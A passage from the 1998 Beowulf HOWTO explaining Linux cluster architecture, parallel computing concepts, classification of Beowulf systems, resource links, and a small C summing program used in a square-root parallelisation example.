  • 1.4 About the authors
  • 1.5 Acknowledgements

2. Introduction

  • 2.1 Who should read this HOWTO ?
  • 2.2 What is a Beowulf ?
  • 2.3 Classification

3. Architecture Overview

  • 3.1 What does it look like ?
  • 3.2 How to utilise the other nodes ?
  • 3.3 How does Beowulf differ from a COW ?

4. System Design

  • 4.1 A brief background on parallel computing.
  • 4.2 The methods of parallel computing
  • 4.3 Architectures for parallel computing
  • 4.4 Suitability
  • 4.5 Writing and porting parallel software

5. Beowulf Resources

  • 5.1 Starting Points
  • 5.2 Documentation
  • 5.3 Papers
  • 5.4 Software
  • 5.5 Beowulf Machines
  • 5.6 Other Interesting Sites
  • 5.7 History

6. Source code

  • 6.1 sum.c
  • 6.2 sigmasqrt.c
  • 6.3 prun.sh


Beowulf HOWTO : Preamble

 Next Previous Contents

1. Preamble

1.1 Disclaimer

We will not accept any responsibility for any incorrect information within this document, nor for any damage it might cause when applied.

1.2 Copyright

Copyright © 1997 - 1998 Jacek Radajewski and Douglas Eadline. Permission to distribute and modify this document is granted under the GNU General Public Licence.

1.3 About this HOWTO

Jacek Radajewski started work on this document in November 1997 and was soon joined by Douglas Eadline. Over a few months the Beowulf HOWTO grew into a large document, and in August 1998 it was split into three documents: Beowulf HOWTO, Beowulf Architecture Design HOWTO, and the Beowulf Installation and Administration HOWTO. Version 1.0.0 of the Beowulf HOWTO was released to the Linux Documentation Project on 11 November 1998. We hope that this is only the beginning of what will become a complete Beowulf Documentation Project.

1.4 About the authors

  • Jacek Radajewski works as a Network Manager, and is studying for an honors degree in computer science at the University of Southern Queensland, Australia. Jacek's first contact with Linux was in 1995 and it was love at first sight. Jacek built his first Beowulf cluster in May 1997 and has been playing with the technology ever since, always trying to find new and better ways of setting things up. You can contact Jacek by sending e-mail to jacek@usq.edu.au
  • Douglas Eadline, Ph.D. is President and Principal Scientist at Paralogic, Inc., Bethlehem, PA, USA. Trained as Physical/Analytical Chemist, he has been involved with computers since 1978 when he built his first single board computer for use with chemical instrumentation. Dr. Eadline's interests now include Linux, Beowulf clusters, and parallel algorithms. Dr. Eadline can be contacted by sending email to deadline@plogic.com

1.5 Acknowledgements

The writing of the Beowulf HOWTO was a long proces and is finally complete, thanks to many individuals. I would like to thank the following people for their help and contribution to this HOWTO.

  • Becky for her love, support, and understanding.
  • Tom Sterling, Don Becker, and other people at NASA who started the Beowulf project.
  • Thanh Tran-Cong and the Faculty of Engineering and Surveying for making the topcat Beowulf machine available for experiments.
  • My supervisor Christopher Vance for many great ideas.
  • My friend Russell Waldron for great programming ideas, his general interest in the project, and support.
  • My friend David Smith for proof reading this document.
  • Many other people on the Beowulf mailing list who provided me with feedback and ideas.
  • All the people who are responsible for the Linux operating system and all the other free software packages used on topcat and other Beowulf machines.


Beowulf HOWTO : Introduction

 Next Previous Contents

2. Introduction

As the performance of commodity computer and network hardware increase, and their prices decrease, it becomes more and more practical to build parallel computational systems from off-the-shelf components, rather than buying CPU time on very expensive Supercomputers. In fact, the price per performance ratio of a Beowulf type machine is between three to ten times better than that for traditional supercomputers. Beowulf architecture scales well, it is easy to construct and you only pay for the hardware as most of the software is free.

2.1 Who should read this HOWTO ?

This HOWTO is designed for a person with at least some exposure to the Linux operating system. Knowledge of Beowulf technology or understanding of more complex operating system and networking concepts is not essential, but some exposure to parallel computing would be advantageous (after all you must have some reason to read this document). This HOWTO will not answer all possible questions you might have about Beowulf, but hopefully will give you ideas and guide you in the right direction. The purpose of this HOWTO is to provide background information, links and references to more advanced documents.

2.2 What is a Beowulf ?

Famed was this Beowulf: far flew the boast of him, son of Scyld, in the Scandian lands. So becomes it a youth to quit him well with his father's friends, by fee and gift, that to aid him, aged, in after days, come warriors willing, should war draw nigh, liegemen loyal: by lauded deeds shall an earl have honor in every clan. Beowulf is the earliest surviving epic poem written in English. It is a story about a hero of great strength and courage who defeted a monster called Grendel. See History to find out more about the Beowulf hero.

There are probably as many Beowulf definitions as there are people who build or use Beowulf Supercomputer facilities. Some claim that one can call their system Beowulf only if it is built in the same way as the NASA's original machine. Others go to the other extreme and call Beowulf any system of workstations running parallel code. My definition of Beowulf fits somewhere between the two views described above, and is based on many postings to the Beowulf mailing list:

Beowulf is a multi computer architecture which can be used for parallel computations. It is a system which usually consists of one server node, and one or more client nodes connected together via Ethernet or some other network. It is a system built using commodity hardware components, like any PC capable of running Linux, standard Ethernet adapters, and switches. It does not contain any custom hardware components and is trivially reproducible. Beowulf also uses commodity software like the Linux operating system, Parallel Virtual Machine (PVM) and Message Passing Interface (MPI). The server node controls the whole cluster and serves files to the client nodes. It is also the cluster's console and gateway to the outside world. Large Beowulf machines might have more than one server node, and possibly other nodes dedicated to particular tasks, for example consoles or monitoring stations. In most cases client nodes in a Beowulf system are dumb, the dumber the better. Nodes are configured and controlled by the server node, and do only what they are told to do. In a disk-less client configuration, client nodes don't even know their IP address or name until the server tells them what it is. One of the main differences between Beowulf and a Cluster of Workstations (COW) is the fact that Beowulf behaves more like a single machine rather than many workstations. In most cases client nodes do not have keyboards or monitors, and are accessed only via remote login or possibly serial terminal. Beowulf nodes can be thought of as a CPU + memory package which can be plugged in to the cluster, just like a CPU or memory module can be plugged into a motherboard.

Beowulf is not a special software package, new network topology or the latest kernel hack. Beowulf is a technology of clustering Linux computers to form a parallel, virtual supercomputer. Although there are many software packages such as kernel modifications, PVM and MPI libraries, and configuration tools which make the Beowulf architecture faster, easier to configure, and much more usable, one can build a Beowulf class machine using standard Linux distribution without any additional software. If you have two networked Linux computers which share at least the /home file system via NFS, and trust each other to execute remote shells (rsh), then it could be argued that you have a simple, two node Beowulf machine.

2.3 Classification

Beowulf systems have been constructed from a variety of parts. For the sake of performance some non-commodity components (i.e. produced by a single manufacturer) have been employed. In order to account for the different types of systems and to make discussions about machines a bit easier, we propose the following simple classification scheme:

CLASS I BEOWULF:

This class of machines built entirely from commodity "off-the-shelf" parts. We shall use the "Computer Shopper" certification test to define commodity "off-the-shelf" parts. (Computer Shopper is a 1 inch thick monthly magazine/catalog of PC systems and components.) The test is as follows:

A CLASS I Beowulf is a machine that can be assembled from parts found in at least 3 nationally/globally circulated advertising catalogs.

The advantages of a CLASS I system are:

  • hardware is available form multiple sources (low prices, easy maintenance)
  • no reliance on a single hardware vendor
  • driver support from Linux commodity
  • usually based on standards (SCSI, Ethernet, etc.)

The disadvantages of a CLASS I system are:

  • best performance may require CLASS II hardware

CLASS II BEOWULF

A CLASS II Beowulf is simply any machine that does not pass the Computer Shopper certification test. This is not a bad thing. Indeed, it is merely a classification of the machine.

The advantages of a CLASS II system are:

  • Performance can be quite good!

The disadvantages of a CLASS II system are:

  • driver support may vary
  • reliance on single hardware vendor
  • may be more expensive than CLASS I systems.

One CLASS is not necessarily better than the other. It all depends on your needs and budget. This classification system is only intended to make discussions about Beowulf systems a bit more succinct. The "System Design" section may help determine what kind of system is best suited for your needs.


Beowulf HOWTO : Architecture Overview

 Next Previous Contents

3. Architecture Overview

3.1 What does it look like ?

I think that the best way of describing the Beowulf supercomputer architecture is to use an example which is very similar to the actual Beowulf, but familiar to most system administrators. The example that is closest to a Beowulf machine is a Unix computer laboratory with a server and a number of clients. To be more specific I'll use the DEC Alpha undergraduate computer laboratory at the Faculty of Sciences, USQ as the example. The server computer is called beldin and the client machines are called scilab01, scilab02, scilab03, up to scilab20. All clients have a local copy of the Digital Unix 4.0 operating system installed, but get the user file space (/home) and /usr/local from the server via NFS (Network File System). Each client has an entry for the server and all the other clients in its /etc/hosts.equiv file, so all clients can execute a remote shell (rsh) to all others. The server machine is a NIS server for the whole laboratory, so account information is the same across all the machines. A person can sit at the scilab02 console, login, and have the same environment as if he logged onto the server or scilab15. The reason all the clients have the same look and feel is that the operating system is installed and configured in the same way on all machines, and both the user's /home and /usr/local areas are physically on the server and accessed by the clients via NFS. For more information on NIS and NFS please read the NIS and NFS HOWTOs.

3.2 How to utilise the other nodes ?

Now that we have some idea about the system architecture, let us take a look at how we can utilise the available CPU cycles of the machines in the computer laboratory. Any person can logon to any of the machines, and run a program in their home directory, but they can also spawn the same job on a different machine simply by executing remote shell. For example, assume that we want to calculate the sum of the square roots of all integers between 1 and 10 inclusive. We write a simple program called sigmasqrt (please see source code) which does exactly that. To calculate the sum of the square roots of numbers from 1 to 10 we execute :

[jacek@beldin sigmasqrt]$ time ./sigmasqrt 1 10
22.468278

real    0m0.029s
user    0m0.001s
sys     0m0.024s
The time command allows us to check the wall-clock (the elapsed time) of running this job. As we can see, this example took only a small fraction of a second (0.029 sec) to execute, but what if I want to add the square root of integers from 1 to 1 000 000 000 ? Let us try this, and again calculate the wall-clock time.

[jacek@beldin sigmasqrt]$ time ./sigmasqrt 1 1000000000
21081851083600.559000

real    16m45.937s
user    16m43.527s
sys     0m0.108s

This time, the execution time of the program is considerably longer. The obvious question to ask is what can we do to speed up the execution time of the job? How can we change the way the job is running to minimize the wall-clock time of running this job? The obvious answer is to split the job into a number of sub-jobs and to run these sub-jobs in parallel on all computers. We could split one big addition task into 20 parts, calculating one range of square roots and adding them on each node. When all nodes finish the calculation and return their results, the 20 numbers could be added together to obtain the final solution. Before we run this job we will make a named pipe which will be used by all processes to write their results.

[jacek@beldin sigmasqrt]$ mkfifo output
[jacek@beldin sigmasqrt]$ ./prun.sh & time cat output | ./sum
[1] 5085
21081851083600.941000
[1]+  Done                    ./prun.sh

real    0m58.539s
user    0m0.061s
sys     0m0.206s

This time we get about 58.5 seconds. This is the time from starting the job until all the nodes have finished their computations and written their results into the pipe. The time does not include the final addition of the twenty numbers, but this time is a very small fraction of a second and can be ignored. We can see that there is a significant improvement in running this job in parallel. In fact the parallel job ran about 17 times faster, which is very reasonable for a 20 fold increase in the number of CPUs. The purpose of the above example is to illustrate the simplest method of parallelising concurrent code. In practice such simple examples are rare and different techniques (PVM and PMI APIs) are used to achieve the parallelism.

3.3 How does Beowulf differ from a COW ?

The computer laboratory described above is a perfect example of a Cluster of Workstations (COW). So what is so special about Beowulf, and how is it different from a COW? The truth is that there is not much difference, but Beowulf does have few unique characteristics. First of all, in most cases client nodes in a Beowulf cluster do not have keyboards, mice, video cards nor monitors. All access to the client nodes is done via remote connections from the server node, dedicated console node, or a serial console. Because there is no need for client nodes to access machines outside the cluster, nor for machines outside the cluster to access client nodes directly, it is a common practice for the client nodes to use private IP addresses like the 10.0.0.0/8 or 192.168.0.0/16 address ranges (RFC 1918 http://www.alternic.net/rfcs/1900/rfc1918.txt.html). Usually the only machine that is also connected to the outside world using a second network card is the server node. The most common ways of using the system is to access the server's console directly, or either telnet or remote login to the server node from personal workstation. Once on the server node, users can edit and compile their code, and also spawn jobs on all nodes in the cluster. In most cases COWs are used for parallel computations at night, and over weekends when people do not actually use the workstations for every day work, thus utilising idle CPU cycles. Beowulf on the other hand is a machine usually dedicated to parallel computing, and optimised for this purpose. Beowulf also gives better price/performance ratio as it is built from off-the-shelf components and runs mainly free software. Beowulf has also more single system image features which help the users to see the Beowulf cluster as a single computing workstation.


Beowulf HOWTO : System Design

 Next Previous Contents

4. System Design

Before you purchase any hardware, it may be a good idea to consider the design of your system. There are basically two hardware issues involved with design of a Beowulf system: the type of nodes or computers you are going to use; and way you connect the computer nodes. There is one software issue that may effect your hardware decisions; the communication library or API. A more detailed discussion of hardware and communication software is provided later in this document.

While the number of choices is not large, there are some important design decisions that must be made when constructing a Beowulf systems. Because the science (or art) of "parallel computing" has many different interpretations, an introduction is provided below. If you do not like to read background material, you may skip this section, but it is advised that you read section Suitability before you make you final hardware decisions.

4.1 A brief background on parallel computing.

This section provides background on parallel computing concepts. It is NOT an exhaustive or complete description of parallel computing science and technology. It is a brief description of the issues that may be important to a Beowulf designer and user.

As you design and build your Beowulf, many of these issues described below will become important in your decision process. Due to its component nature, a Beowulf Supercomputer requires that we consider many factors carefully because they are now under our control. In general, it is not all that difficult to understand the issues involved with parallel computing. Indeed, once the issues are understood, your expectations will be more realistic and success will be more likely. Unlike the "sequential world" where processor speed is considered the single most important factor, processor speed in the "parallel world" is just one of several factors that will determine overall system performance and efficiency.

4.2 The methods of parallel computing

Parallel computing can take many forms. From a user's perspective, it is important to consider the advantages and disadvantages of each methodology. The following section attempts to provide some perspective on the methods of parallel computing and indicate where the Beowulf machine falls on this continuum.

Why more than one CPU?

Answering this question is important. Using 8 CPUs to run your word processor sounds a little like "over-kill" -- and it is. What about a web server, a database, a rendering program, or a project scheduler? Maybe extra CPUs would help. What about a complex simulation, a fluid dynamics code, or a data mining application. Extra CPUs definitely help in these situations. Indeed, multiple CPUs are being used to solve more and more problems.

The next question usually is: "Why do I need two or four CPUs, I will just wait for the 986 turbo-hyper chip." There are several reasons:

  1. Due to the use of multi-tasking Operating Systems, it is possible to do several things at once. This is a natural "parallelism" that is easily exploited by more than one low cost CPU.
  2. Processor speeds have been doubling every 18 months, but what about RAM speeds or hard disk speeds? Unfortunately, these speeds are not increasing as fast as the CPU speeds. Keep in mind most applications require "out of cache memory access" and hard disk access. Doing things in parallel is one way to get around some of these limitations.
  3. Predictions indicate that processor speeds will not continue to double every 18 months after the year 2005. There are some very serious obstacles to overcome in order to maintain this trend.
  4. Depending on the application, parallel computing can speed things up by any where from 2 to 500 times faster (in some cases even faster). Such performance is not available using a single processor. Even supercomputers that at one time used very fast custom processors are now built from multiple "commodity- off-the-shelf" CPUs.

If you need speed - either due to a compute bound problem and/or an I/O bound problem, parallel is worth considering. Because parallel computing is implemented in a variety of ways, solving your problem in parallel will require some very important decisions to be made. These decisions may dramatically effect portability, performance, and cost of your application.

Before we get technical, let's look take a look at a real "parallel computing problem" using an example with which we are familiar - waiting in long lines at a store.

The Parallel Computing Store

Consider a big store with 8 cash registers grouped together in the front of the store. Assume each cash register/cashier is a CPU and each customer is a computer program. The size of the computer program (amount of work) is the size of each customer's order. The following analogies can be used to illustrate parallel computing concepts.

Single-tasking Operating System

One cash register open (is in use) and must process each customer one at a time.

Computer Example: MS DOS

Multi-tasking Operating System:

One cash register open, but now we process only a part of each order at a time, move to the next person and process some of their order. Everyone "seems" to be moving through the line together, but if no one else is in the line, you will get through the line faster.

Computer Example: UNIX, NT using a single CPU

Multitasking Operating Systems with Multiple CPUs:

Now we open several cash registers in the store. Each order can be processed by a separate cash register and the line can move much faster. This is called SMP - Symmetric Multi-processing. Although there are extra cash registers open, you will still never get through the line any faster than just you and a single cash register.

Computer Example: UNIX and NT with multiple CPUs

Threads on a Multitasking Operating Systems extra CPUs

If you "break-up" the items in your order, you might be able to move through the line faster by using several cash registers at one time. First, we must assume you have a large amount of goods, because the time you invest "breaking up your order" must be regained by using multiple cash registers. In theory, you should be able to move through the line "n" times faster than before*; where "n" is the number of cash registers. When the cashiers need to get sub- totals, they can exchange information quickly by looking and talking to all the other "local" cash registers. They can even snoop around the other cash registers to find information they need to work faster. There is a limit, however, as to how many cash registers the store can effectively locate in any one place.

Amdals law will also limit the application speed-up to the slowest sequential portion of the program.

Computer Example: UNIX or NT with extra CPU on the same motherboard running multi-threaded programs.

Sending Messages on Multitasking Operating Systems with extra CPUs:

In order to improve performance, the store adds 8 cash registers at the back of the store. Because the new cash registers are far away from the front cash registers, the cashiers must call on the phone to send their sub-totals to the front of the store. This distance adds extra overhead (time) to communication between cashiers, but if communication is minimized, it is not a problem. If you have a really big order, one that requires all the cash registers, then as before your speed can be improved by using all cash registers at the same time, the extra overhead must be considered. In some cases, the store may have single cash registers (or islands of cash registers) located all over the store - each cash register (or island) must communicate by phone. Since all the cashiers working the cash registers can talk to each other by phone, it does not matter too much where they are.

Computer Example: One or several copies of UNIX or NT with extra CPUs on the same or different motherboard communicating through messages.

The above scenarios, although not exact, are a good representation of constraints placed on parallel systems. Unlike a single CPU (or cash register) communication is an issue.

4.3 Architectures for parallel computing

The common methods and architectures of parallel computing are presented below. While this description is by no means exhaustive, it is enough to understand the basic issues involved with Beowulf design.

Hardware Architectures

There are basically two ways parallel computer hardware is put together:

  1. Local memory machines that communicate by messages (Beowulf Clusters)
  2. Shared memory machines that communicate through memory (SMP machines)

A typical Beowulf is a collection of single CPU machines connected using fast Ethernet and is, therefore, a local memory machine. A 4 way SMP box is a shared memory machine and can be used for parallel computing - parallel applications communicate using shared memory. Just as in the computer store analogy, local memory machines (individual cash registers) can be scaled up to large numbers of CPUs, while the number of CPUs shared memory machines (the number of cash registers you can place in one spot) can have is limited due to memory contention.

It is possible, however, to connect many shared memory machines to create a "hybrid" shared memory machine. These hybrid machines "look" like a single large SMP machine to the user and are often called NUMA (non uniform memory access) machines because the global memory seen by the programmer and shared by all the CPUs can have different latencies. At some level, however, a NUMA machine must "pass messages" between local shared memory pools.

It is also possible to connect SMP machines as local memory compute nodes. Typical CLASS I motherboards have either 2 or 4 CPUs and are often used as a means to reduce the overall system cost. The Linux internal scheduler determines how these CPUs get shared. The user cannot (at this point) assign a specific task to a specific SMP processor. The user can however, start two independent processes or a threaded processes and expect to see a performance increase over a single CPU system.

Software API Architectures

There basically two ways to "express" concurrency in a program:

  1. Using Messages sent between processors
  2. Using operating system Threads

Other methods do exist, but these are the two most widely used. It is important to remember that the expression of concurrency is not necessary controlled by the underlying hardware. Both Messages and Threads can be implemented on SMP, NUMA-SMP, and clusters - although as explained below efficiently and portability are important issues.

Messages

Historically, messages passing technology reflected the design of early local memory parallel computers. Messages require copying data while Threads use data in place. The latency and speed at which messages can be copied are the limiting factor with message passing models. A Message is quite simple: some data and a destination processor. Common message passing APIs are PVM or MPI. Message passing can be efficiently implemented using Threads and Messages work well both on SMP machine and between clusters of machines. The advantage to using messages on an SMP machine, as opposed to Threads, is that if you decided to use clusters in the future it is easy to add machines or scale your application.

Threads

Operating system Threads were developed because shared memory SMP (symmetrical multiprocessing) designs allowed very fast shared memory communication and synchronization between concurrent parts of a program. Threads work well on SMP systems because communication is through shared memory. For this reason the user must isolate local data from global data, otherwise programs will not work properly. In contrast to messages, a large amount of copying can be eliminated with threads because the data is shared between processes (threads). Linux supports POSIX threads. The problem with threads is that it is difficult to extend them beyond one SMP machine and because data is shared between CPUs, cache coherence issues can contribute to overhead. Extending threads beyond the SMP boundary efficiently requires NUMA technology which is expensive and not natively supported by Linux. Implementing threads on top of messages has been done ( (http://syntron.com/ptools/ptools_pg.htm)), but Threads are often inefficient when implemented using messages.

The following can be stated about performance:

          SMP machine     cluster of machines  scalability
          performance        performance
          -----------     -------------------  -----------
messages    good                best              best

threads     best               poor*              poor*

* requires expensive NUMA technology.

Application Architecture

In order to run an application in parallel on multiple CPUs, it must be explicitly broken in to concurrent parts. A standard single CPU application will run no faster than a single CPU application on multiple processors. There are some tools and compilers that can break up programs, but parallelizing codes is not a "plug and play" operation. Depending on the application, parallelizing code can be easy, extremely difficult, or in some cases impossible due to algorithm dependencies.

Before the software issues can be addressed the concept of Suitability needs to be introduced.

4.4 Suitability

Most questions about parallel computing have the same answer:

"It all depends upon the application."

Before we jump into the issues, there is one very important distinction that needs to be made - the difference between CONCURRENT and PARALLEL. For the sake of this discussion we will define these two concepts as follows:

CONCURRENT parts of a program are those that can be computed independently.

PARALLEL parts of a program are those CONCURRENT parts that are executed on separate processing elements at the same time.

The distinction is very important, because CONCURRENCY is a property of the program and efficient PARALLELISM is a property of the machine. Ideally, PARALLEL execution should result in faster performance. The limiting factor in parallel performance is the communication speed and latency between compute nodes. (Latency also exists with threaded SMP applications due to cache coherency.) Many of the common parallel benchmarks are highly parallel and communication and latency are not the bottle neck. This type of problem can be called "obviously parallel". Other applications are not so simple and executing CONCURRENT parts of the program in PARALLEL may actually cause the program to run slower, thus offsetting any performance gains in other CONCURRENT parts of the program. In simple terms, the cost of communication time must pay for the savings in computation time, otherwise the PARALLEL execution of the CONCURRENT part is inefficient.

The task of the programmer is to determining what CONCURRENT parts of the program SHOULD be executed in PARALLEL and what parts SHOULD NOT. The answer to this will determine the EFFICIENCY of application. The following graph summarizes the situation for the programmer:

         | *
         | *
         | *
 % of    | *
 appli-  |  *
 cations |  *
         |  *
         |  *
         |    *
         |     *
         |      *
         |        ****
         |            ****
         |                ********************
         +-----------------------------------
          communication time/processing time

In a perfect parallel computer, the ratio of communication/processing would be equal and anything that is CONCURRENT could be implemented in PARALLEL. Unfortunately, Real parallel computers, including shared memory machines, are subject to the effects described in this graph. When designing a Beowulf, the user may want to keep this graph in mind because parallel efficiency depends upon ratio of communication time and processing time for A SPECIFIC PARALLEL COMPUTER. Applications may be portable between parallel computers, but there is no guarantee they will be efficient on a different platform.

IN GENERAL, THERE IS NO SUCH THING AS A PORTABLE AND EFFICIENT PARALLEL PROGRAM

There is yet another consequence to the above graph. Since efficiency depends upon the comm./process. ratio, just changing one component of the ratio does not necessary mean a specific application will perform faster. A change in processor speed, while keeping the communication speed that same may have non- intuitive effects on your program. For example, doubling or tripling the CPU speed, while keeping the communication speed the same, may now make some previously efficient PARALLEL portions of your program, more efficient if they were executed SEQUENTIALLY. That is, it may now be faster to run the previously PARALLEL parts as SEQUENTIAL. Furthermore, running inefficient parts in parallel will actually keep your application from reaching its maximum speed. Thus, by adding faster processor, you may actually slowed down your application (you are keeping the new CPU from running at its maximum speed for that application)

UPGRADING TO A FASTER CPU MAY ACTUALLY SLOW DOWN YOUR APPLICATION

So, in conclusion, to know whether or not you can use a parallel hardware environment, you need to have some insight into the suitability of a particular machine to your application. You need to look at a lot of issues including CPU speeds, compiler, message passing API, network, etc. Please note, just profiling an application, does not give the whole story. You may identify a computationally heavy portion of your program, but you do not know the communication cost for this portion. It may be that for a given system, the communication cost as do not make parallelizing this code efficient.

A final note about a common misconception. It is often stated that "a program is PARALLELIZED", but in reality only the CONCURRENT parts of the program have been located. For all the reasons given above, the program is not PARALLELIZED. Efficient PARALLELIZATION is a property of the machine.

4.5 Writing and porting parallel software

Once you decide that you need parallel computing and would like to design and build a Beowulf, a few moments considering your application with respect to the previous discussion may be a good idea.

In general there are two things you can do:

  1. Go ahead and construct a CLASS I Beowulf and then "fit" your application to it. Or run existing parallel applications that you know work on your Beowulf (but beware of the portability and efficiently issues mentioned above)
  2. Look at the applications you need to run on your Beowulf and make some estimations as to the type of hardware and software you need.

In either case, at some point you will need to look at the efficiency issues. In general, there are three things you need to do:

  1. Determine concurrent parts of your program
  2. Estimate parallel efficiently
  3. Describing the concurrent parts of your program

Let's look at these one at a time.

Determine concurrent parts of your program

This step is often considered "parallelizing your program". Parallelization decisions will be made in step 2. In this step, you need to determine data dependencies.

>From a practical standpoint, applications may exhibit two types of concurrency: compute (number crunching) and I/O (database). Although in many cases compute and I/O concurrency are orthogonal, there are application that require both. There are tools available that can perform concurrency analysis on existing applications. Most of these tools are designed for FORTRAN. There are two reasons FORTRAN is used: historically most number crunching applications were written in FORTRAN and it is easier to analyze. If no tools are available, then this step can be some what difficult for existing applications.

Estimate parallel efficiency

Without the help of tools, this step may require trial and error tests or just a plain old educated guess. If you have a specific application in mind, try to determine if it is CPU limited (compute bound) or hard disk limited (I/O bound). The requirements of your Beowulf may be quite different depending upon your needs. For example, a compute bound problem may need a few very fast CPUs and high speed low latency network, while an I/O bound problem may work better with more slower CPUs and fast Ethernet.

This recommendation often comes as a surprise to most people because, the standard assumption is that faster processor are always better. While this is true if your have an unlimited budget, real systems may have cost constraints that should be maximized. For I/O bound problems, there is a little known rule (called the Eadline-Dedkov Law) that is quite helpful:

For two given parallel computers with the same cumulative CPU performance index, the one which has slower processors (and a probably correspondingly slower interprocessor communication network) will have better performance for I/O-dominant applications.

While the proof of this rule is beyond the scope of this document, you find it interesting to download the paper Performance Considerations for I/O-Dominant Applications on Parallel Computers (Postscript format 109K ) (ftp://www.plogic.com/pub/papers/exs-pap6.ps)

Once you have determined what type of concurrency you have in your application, you will need to estimate how efficient it will be in parallel. See Section Software for a description of Software tools.

In the absence of tools, you may try to guess your way through this step. If a compute bound loop measured in minutes and the data can be transferred in seconds, then it might be a good candidate for parallelization. But remember, if you take a 16 minute loop and break it into 32 parts, and your data transfers require several seconds per part, then things are going to get tight. You will reach a point of diminishing returns.

Describing the concurrent parts of your program

There are several ways to describe concurrent parts of your program:

  1. Explicit parallel execution
  2. Implicit parallel execution

The major difference between the two is that explicit parallelism is determined by the user where implicit parallelism is determined by the compiler.

Explicit Methods

These are basically method where the user must modify source code specifically for a parallel computer. The user must either add messages using PVM or MPI or add threads using POSIX threads. (Keep in mind however, threads can not move between SMP motherboards).

Explicit methods tend to be the most difficult to implement and debug. Users typically embed explicit function calls in standard FORTRAN 77 or C/C++ source code. The MPI library has added some functions to make some standard parallel methods easier to implement (i.e. scatter/gather functions). In addition, it is also possible to use standard libraries that have been written for parallel computers. Keep in mind, however, the portability vs. efficiently trade-off)

For historical reasons, most number crunching codes are written in FORTRAN. For this reasons, FORTRAN has the largest amount of support (tools, libraries, etc.) for parallel computing. Many programmers now use C or re- write existing FORTRAN applications in C with the notion the C will allow faster execution. While this may be true as C is the closest thing to a universal machine code, it has some major drawbacks. The use of pointers in C makes determining data dependencies extremely difficult. Automatic analysis of pointers is extremely difficult. If you have an existing FORTRAN program and think that you might want to parallelize it in the future - DO NOT CONVERT IT TO C!

Implicit Methods

Implicit methods are those where the user gives up some (or all) of the parallelization decisions to the compiler. Examples are FORTRAN 90, High Performance FORTRAN (HPF), Bulk Synchronous Parallel (BSP), and a whole collection of other methods that are under development.

Implicit methods require the user to provide some information about the concurrent nature of their application, but the compiler will then make many decisions about how to execute this concurrency in parallel. These methods provide some level of portability and efficiency, but there is still no "best way" to describe a concurrent problem for a parallel computer.


Beowulf HOWTO : Beowulf Resources

 Next Previous Contents

5. Beowulf Resources

5.1 Starting Points

  • Beowulf mailing list. To subscribe send mail to beowulf-request@cesdis.gsfc.nasa.gov with the word subscribe in the message body.
  • Beowulf Homepage http://www.beowulf.org
  • Extreme Linux http://www.extremelinux.org
  • Extreme Linux Software from Red Hat http://www.redhat.com/extreme

5.2 Documentation

  • The latest version of the Beowulf HOWTO http://www.sci.usq.edu.au/staff/jacek/beowulf.
  • Building a Beowulf System http://www.cacr.caltech.edu/beowulf/tutorial/building.html
  • Jacek's Beowulf Links http://www.sci.usq.edu.au/staff/jacek/beowulf.
  • Beowulf Installation and Administration HOWTO (DRAFT) http://www.sci.usq.edu.au/staff/jacek/beowulf.
  • Linux Parallel Processing HOWTO http://yara.ecn.purdue.edu/~pplinux/PPHOWTO/pphowto.html

5.3 Papers

  • Chance Reschke, Thomas Sterling, Daniel Ridge, Daniel Savarese, Donald Becker, and Phillip Merkey A Design Study of Alternative Network Topologies for the Beowulf Parallel Workstation. Proceedings Fifth IEEE International Symposium on High Performance Distributed Computing, 1996. http://www.beowulf.org/papers/HPDC96/hpdc96.html
  • Daniel Ridge, Donald Becker, Phillip Merkey, Thomas Sterling Becker, and Phillip Merkey. Harnessing the Power of Parallelism in a Pile-of-PCs. Proceedings, IEEE Aerospace, 1997. http://www.beowulf.org/papers/AA97/aa97.ps
  • Thomas Sterling, Donald J. Becker, Daniel Savarese, Michael R. Berry, and Chance Res. Achieving a Balanced Low-Cost Architecture for Mass Storage Management through Multiple Fast Ethernet Channels on the Beowulf Parallel Workstation. Proceedings, International Parallel Processing Symposium, 1996. http://www.beowulf.org/papers/IPPS96/ipps96.html
  • Donald J. Becker, Thomas Sterling, Daniel Savarese, Bruce Fryxell, Kevin Olson. Communication Overhead for Space Science Applications on the Beowulf Parallel Workstation. Proceedings,High Performance and Distributed Computing, 1995. http://www.beowulf.org/papers/HPDC95/hpdc95.html
  • Donald J. Becker, Thomas Sterling, Daniel Savarese, John E. Dorband, Udaya A. Ranawak, Charles V. Packer. BEOWULF: A PARALLEL WORKSTATION FOR SCIENTIFIC COMPUTATION. Proceedings, International Conference on Parallel Processing, 95. http://www.beowulf.org/papers/ICPP95/icpp95.html
  • Papers at the Beowulf site http://www.beowulf.org/papers/papers.html

5.4 Software

  • PVM - Parallel Virtual Machine http://www.epm.ornl.gov/pvm/pvm_home.html
  • LAM/MPI (Local Area Multicomputer / Message Passing Interface http://www.mpi.nd.edu/lam
  • BERT77 - FORTRAN conversion tool http://www.plogic.com/bert.html
  • Beowulf software from Beowulf Project Page http://beowulf.gsfc.nasa.gov/software/software.html
  • Jacek's Beowulf-utils ftp://ftp.sci.usq.edu.au/pub/jacek/beowulf-utils
  • bWatch - cluster monitoring tool http://www.sci.usq.edu.au/staff/jacek/bWatch

5.5 Beowulf Machines

  • Avalon consists of 140 Alpha processors, 36 GB of RAM, and is probably the fastest Beowulf machine, cruising at 47.7 Gflops and ranking 114th on the Top 500 list. http://swift.lanl.gov/avalon/
  • Megalon-A Massively PArallel CompuTer Resource (MPACTR) consists of 14, quad CPU Pentium Pro 200 nodes, and 14 GB of RAM. http://megalon.ca.sandia.gov/description.html
  • theHIVE - Highly-parallel Integrated Virtual Environment is another fast Beowulf Supercomputer. theHIVE is a 64 node, 128 CPU machine with the total of 4 GB RAM. http://newton.gsfc.nasa.gov/thehive/
  • Topcat is a much smaller machine and consists of 16 CPUs and 1.2 GB RAM. http://www.sci.usq.edu.au/staff/jacek/topcat
  • MAGI cluster - this is a very interesting site with many good links. http://noel.feld.cvut.cz/magi/

5.6 Other Interesting Sites

  • SMP Linux http://www.linux.org.uk/SMP/title.html
  • Paralogic - Buy a Beowulf http://www.plogic.com

5.7 History

  • Legends - Beowulf http://legends.dm.net/beowulf/index.html
  • The Adventures of Beowulf http://www.lnstar.com/literature/beowulf/beowulf.html


Beowulf HOWTO : Source code

 Next Previous Contents

6. Source code

6.1 sum.c

/* Jacek Radajewski jacek@usq.edu.au */
/* 21/08/1998 */

#include <stdio.h>
#include <math.h>

int main (void) {

  double result = 0.0;
  double number = 0.0;
  char string[80];

  while (scanf("%s", string) != EOF) {

    number = atof(string);
    result = result + number;
  }

  printf("%lf\n", result);

  return 0;

}

6.2 sigmasqrt.c

